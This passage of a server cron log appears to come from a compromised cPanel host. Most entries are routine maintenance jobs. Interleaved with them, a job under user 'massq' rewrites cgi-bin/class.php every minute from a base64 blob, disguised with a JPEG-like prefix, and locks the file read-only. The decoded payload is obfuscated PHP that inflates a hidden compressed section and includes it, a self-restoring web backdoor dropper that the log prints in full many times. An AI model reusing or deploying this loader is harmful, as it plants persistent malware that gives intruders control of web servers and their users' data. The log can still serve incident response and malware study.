eO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:40:01 server CROND[15673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:41:01 server CROND[16505]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:41:01 server CROND[16506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:41:01 server CROND[16507]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:42:02 server CROND[16893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:42:02 server CROND[16895]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 05:42:02 server CROND[16896]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:42:02 server CROND[16897]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:43:01 server CROND[17278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:43:01 server CROND[17279]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:43:01 server CROND[17280]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:44:01 server CROND[17751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:44:01 server CROND[17752]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:44:01 server CROND[17753]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:45:01 server CROND[18149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:45:01 server CROND[18151]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 05:45:01 server CROND[18152]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:45:01 server CROND[18153]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 05:45:01 server CROND[18156]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 05:45:01 server CROND[18159]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:45:01 server CROND[18158]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 05:46:01 server CROND[19001]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:46:01 server CROND[19002]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:46:01 server CROND[19003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:47:01 server CROND[19392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:47:01 server CROND[19394]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:47:01 server CROND[19393]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:48:01 server CROND[19782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:48:01 server CROND[19783]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:48:01 server CROND[19784]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:49:01 server CROND[20258]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:49:01 server CROND[20260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:49:01 server CROND[20259]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:50:01 server CROND[20654]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 05:50:01 server CROND[20655]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 05:50:01 server CROND[20660]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 05:50:01 server CROND[20661]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 05:50:01 server CROND[20662]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 05:50:01 server CROND[20666]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 05:50:01 server CROND[20659]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:50:01 server CROND[20668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:50:01 server CROND[20665]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:51:01 server CROND[21547]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:51:01 server CROND[21548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:51:01 server CROND[21549]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:52:01 server CROND[21937]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Aug 30 05:52:01 server CROND[21938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:52:01 server CROND[21940]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:52:01 server CROND[21939]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
